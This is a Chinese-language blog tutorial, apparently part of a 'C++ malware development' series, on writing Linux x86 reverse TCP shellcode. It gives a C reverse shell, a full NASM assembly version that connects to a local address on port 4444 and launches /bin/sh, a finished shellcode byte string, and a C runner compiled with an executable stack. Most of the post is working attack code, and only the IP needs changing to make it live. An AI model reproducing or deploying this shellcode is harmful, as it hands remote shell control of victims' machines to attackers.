C++恶意软件开发(五)Linux shellcoding

发布时间 2023-04-22 15:55:53作者: 顾北清

什么是shellcode?

Shellcode通常指的是一段用于攻击的机器码(二进制代码),可以被注入到目标计算机中并在其中执行。Shellcode 的目的是利用目标系统的漏洞或弱点,以获取系统控制权或执行恶意操作。它的名称来自于它经常被注入到攻击者编写的恶意软件的 shell 环境中,以便让攻击者可以更轻松地与目标系统进行交互和控制。
Shellcode通常是用汇编语言编写的,因为它需要直接操作计算机硬件和内存,而汇编语言是最接近机器语言的高级语言。Shellcode 通常非常小,因为它需要在目标计算机的内存中占用尽可能少的空间,以避免被检测和拦截。Shellcode可以执行各种攻击,例如缓冲区溢出、代码注入、拒绝服务攻击等。为了防止 Shellcode 的攻击,许多操作系统和应用程序采用了各种防御机制,例如 DEP(数据执行保护)、ASLR(地址空间布局随机化)等。

shellcode测试代码

可以用下面的C代码对shellcode进行测试:

int main(int argc, char ** argv) {
	char code[] = "shellcode";	// shellcode
	int (*func)();	// 函数指针 
	func = (int(*)()) code;	// 将函数指针指向shellcode 
	(int)(*func)();	// 执行shellcode 
	
	return 1;
}

C语言实现Reverse TCP Shell

C语言实现的Reverse TCP Shell分为以下几个步骤:
(1)创建套接字
(2)连接到指定ip:port
(3)通过dup2重定向stdin、stdout、stderr
(4)启动shell

代码如下:

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(void) {
	// 攻击者IP 
	const char* ip = "127.0.0.1";
	
	// 用于保存ip:port的结构体 
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;	// ipv4 
	addr.sin_port = htons(4444);	// 端口 
	inet_aton(ip, &addr.sin_addr);	// 将字符串形式的ip转换为二进制形式并存储到addr.sin_addr
	
	int sockfd = socket(AF_INET, SOCK_STREAM, 0);	// 创建TCP套接字 
	
	connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));	// 连接到指定ip:port 
	
	// 将当前进程的标准输入、输出和错误输出(文件描述符 0、1、2)重定向到套接字描述符sockfd
	for (int i = 0; i < 3; i ++) {
		dup2(sockfd, i);
	}
	
	execve("/bin/bash", NULL, NULL);
	
	return 0;
} 

在kali上进行调试:

汇编实现Reverse TCP Shell

在使用汇编实现之前,先补充一点必要的汇编知识:

mov eax, 32  ; 将32复制给eax寄存器
xor eax, eax ; 对eax寄存器进行异或操作,相当于清零
push eax     ; 将eax压入栈中
pop ebx      ; 将栈顶的值赋值给ebx寄存器
call func    ; 调用func函数
int 0x80     ; 中断
实现socket()

使用汇编实现Reverse TCP Shell,需要的步骤和C语言实现是一样的,这里直接对C语言进行改写。
首先需要调用0x66(SYS_SOCKETCALL)才可以使用套接字,首先清空eax寄存器:

push 0x66  ; 调用sys_socketcall
pop eax    ; 将栈顶的值存放到eax,即eax=0x66

socketcall调用的不同函数可以在/usr/include/linux/net.h文件中找到:

点击查看代码
┌──(kali㉿kali)-[~]
└─$ cat /usr/include/linux/net.h 
/* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */
/*
 * NET          An implementation of the SOCKET network access protocol.
 *              This is the master header file for the Linux NET layer,
 *              or, in plain English: the networking handling part of the
 *              kernel.
 *
 * Version:     @(#)net.h       1.0.3   05/25/93
 *
 * Authors:     Orest Zborowski, <obz@Kodak.COM>
 *              Ross Biro
 *              Fred N. van Kempen, <waltje@uWalt.NL.Mugnet.ORG>
 *
 *              This program is free software; you can redistribute it and/or
 *              modify it under the terms of the GNU General Public License
 *              as published by the Free Software Foundation; either version
 *              2 of the License, or (at your option) any later version.
 */
#ifndef _LINUX_NET_H
#define _LINUX_NET_H

#include <linux/socket.h>
#include <asm/socket.h>

#define NPROTO          AF_MAX

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */
#define SYS_ACCEPT4     18              /* sys_accept4(2)               */
#define SYS_RECVMMSG    19              /* sys_recvmmsg(2)              */
#define SYS_SENDMMSG    20              /* sys_sendmmsg(2)              */

typedef enum {
        SS_FREE = 0,                    /* not allocated                */
        SS_UNCONNECTED,                 /* unconnected to any socket    */
        SS_CONNECTING,                  /* in process of connecting     */
        SS_CONNECTED,                   /* connected to socket          */
        SS_DISCONNECTING                /* in process of disconnecting  */
} socket_state;

#define __SO_ACCEPTCON  (1 << 16)       /* performed a listen           */

#endif /* _LINUX_NET_H */

这里使用的是SYS_SOCKET(0x1),将0x1放入ebx寄存器:

push 0x1   ; sys_socket
pop ebx    ; 将0x1保存到ebx

可以看到在C语言中调用socket()时需要三个参数,socket_familysocket_typeprotocol,这三个参数分别在/usr/include/bits/socket.h/usr/include/bits/socket_type.h/usr/include/linux/in.h文件中(如果没有bits文件夹,可以通过sudo apt-get install gcc-multilib g++-multilib命令进行修复)。
/usr/include/bits/socket.h

/usr/include/bits/socket_type.h

/usr/include/linux/in.h:

基于此,对照C语言代码int sockfd = socket(AF_INET, SOCK_STREAM, 0);,我们将这三个参数分别压入堆栈:

xor edx, edx  ; 将edx清零
;int socket(int domain, int type, int protocol);
push edx      ; protocol = IPPROTO_IP (0x0)
push ebx      ; socket_type = SOCK_STREAM (0x1)
push 0x2      ; socket_family = AF_INET (0x2)

由于ecx需要指向这个结构体,所以将esp当前值赋值给ecx

mov ecx, esp  ;将ecx指向栈顶

最后,调用syscall,它会检查eax中的值,通知内核程序想要进行的系统调用,调用完成后会将结果存储在eax中:

int 0x80      ; syscall (exec sys_socket)

eax中的结果保存到edx中

xchg edx, eax  ; 保存sockfd结果
实现connect()

接着实现connect(),连接到指定的IP和端口,再次使用socketcall

;int socketcall(int call, unsigned long *args);
mov  al, 0x66    ; socketcall 102

对照C语言代码,此时需要使用connectconnect函数有三个参数int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);,其中sockaddr结构如下:

struct sockaddr_in {
   __kernel_sa_family_t  sin_family;     /* Address family               */
  __be16                 sin_port;       /* Port number                  */
  struct in_addr         sin_addr;       /* Internet address             */
};

sockaddr结构所需的参数保存下来:

push 0x0101017f   ; sin_addr = 127.1.1.1 (network byte order)
push word 0x5c11  ; sin_port = 4444

因为在socket()调用时处理了socket_type,此时ebx中的值为0x1,而这里传参为SOCK_STREAM,所以ebx直接自增为0x2即可。

inc ebx        ; ebx = 0x02
push word bx   ; sin_family = AF_INET

然后将指向sockaddr结构体的堆栈指针保存到ecx寄存器:

mov ecx, esp  ;将指向sockaddr结构体的堆栈指针保存下来

后续的操作为:

push 0x10     ; addrlen = 16
push ecx      ; const struct sockaddr * addr
push edx      ; sockfd
mov ecx, esp  ; 将堆栈指针保存到ecx
inc ebx       ; sys_connect (0x3)
int 0x80      ; syscall (exec sys_connect)
实现通过dup2的重定向stdin、stdout、stderr

对应C语言中:

for (int i = 0; i < 3; i ++) {
  dup2(sockfd, i);
}

首先,设置ecx计数器用于循环

push 0x2    ;设置循环次数
pop ecx     ;将循环次数保存到ecx

现在只需要将socket文件描述符保存到ebx

xchg ebx, edx

接着编写循环内的代码:

dup:
  mov al, 0x3f  ; sys_dup2 = 63 = 0x3f
  int 0x80      ; syscall (exec sys_dup2)
  dec  ecx      ; 减少次数
  jns  dup      ; SF标志位为0跳转到dup
实现execve启动shell
; int execve(const char *filename, char *const argv[],char *const envp[]);
mov  al, 0x0b    ; syscall: sys_execve = 11 (mov eax, 11)
inc  ecx         ; argv=0
mov  edx, ecx    ; envp=0
push edx         ; terminating NULL
push 0x68732f2f	 ; "hs//"
push 0x6e69622f	 ; "nib/"
mov  ebx, esp    ; save pointer to filename
int  0x80        ; syscall: exec sys_execve

完整代码

section .bss

section .text
  global _start   ;申明函数的起始地址

_start:           ; linker entry point

  ; 创建socket
  ; int socketcall(int call, unsigned long *args);
  push 0x66        ; sys_socketcall 102
  pop  eax         ; 将0x66保存到eax
  push 0x1         ; sys_socket 0x1
  pop  ebx         ; 将0x1保存到ebx
  xor  edx, edx    ; edx清零

  ; int socket(int domain, int type, int protocol);
  push edx         ; protocol = IPPROTO_IP (0x0)
  push ebx         ; socket_type = SOCK_STREAM (0x1)
  push 0x2         ; socket_family = AF_INET (0x2)
  mov  ecx, esp    ; 将堆栈指针保存到ecx
  int  0x80        ; syscall (exec sys_socket)
  xchg edx, eax    ; 保存sockfd的结果

  ; int socketcall(int call, unsigned long *args);
  mov  al, 0x66    ; socketcall 102

  ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  push 0x0101017f  ; sin_addr = 127.1.1.1 (network byte order)
  push word 0x5c11 ; sin_port = 4444
  inc  ebx         ; ebx = 0x02
  push word bx     ; sin_family = AF_INET
  mov  ecx, esp    ; 保存sockaddr堆栈指针

  push 0x10        ; addrlen = 16
  push ecx         ; const struct sockaddr *addr
  push edx         ; sockfd
  mov  ecx, esp    ; 在ecx中保存sockaddr_in指针
  inc  ebx         ; sys_connect (0x3)
  int  0x80        ; syscall (exec sys_connect)

  ; 实现dup2(sockfd, i);循环
  push 0x2         ; 设置循环次数
  pop  ecx         ; 将循环次数保存到ecx
  xchg ebx, edx    ; 保存sockfd结果

dup:
  mov  al, 0x3f    ; sys_dup2 = 63 = 0x3f
  int  0x80        ; syscall (exec sys_dup2)
  dec  ecx         ; 减少循环次数
  jns  dup         ; SF标志位为0跳转到dup

  ; spawn /bin/sh using execve
  ; int execve(const char *filename, char *const argv[],char *const envp[]);
  mov  al, 0x0b    ; syscall: sys_execve = 11 (mov eax, 11)
  inc  ecx         ; argv=0
  mov  edx, ecx    ; envp=0
  push edx         ; terminating NULL
  push 0x68732f2f  ; "hs//"
  push 0x6e69622f  ; "nib/"
  mov  ebx, esp    ; 保存栈顶地址
  int  0x80        ; syscall: exec sys_execve

测试汇编代码

┌──(kali㉿kali)-[~]
└─$ nasm -f elf32 -o rev.o rev.asm        // 将rev.asm编译成目标文件rev.o
                                                                                                                  
┌──(kali㉿kali)-[~]
└─$ ld -m elf_i386 -o rev rev.o           // 将目标文件rev.o链接橙可执行文件rev

在本机监听444端口:

接着提取字节码:

objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'


shellcode字节码为:

\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

然后将shellcode字节码带入上面的shellcode测试代码:

int main(int argc, char ** argv) {
	char code[] = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
	int (*func)();
	func = (int(*)()) code;	
	(int)(*func)(); 
	
	return 1;
}

编译C语言代码并运行:

gcc -z execstack -m32 -o testshellcode testshellcode.c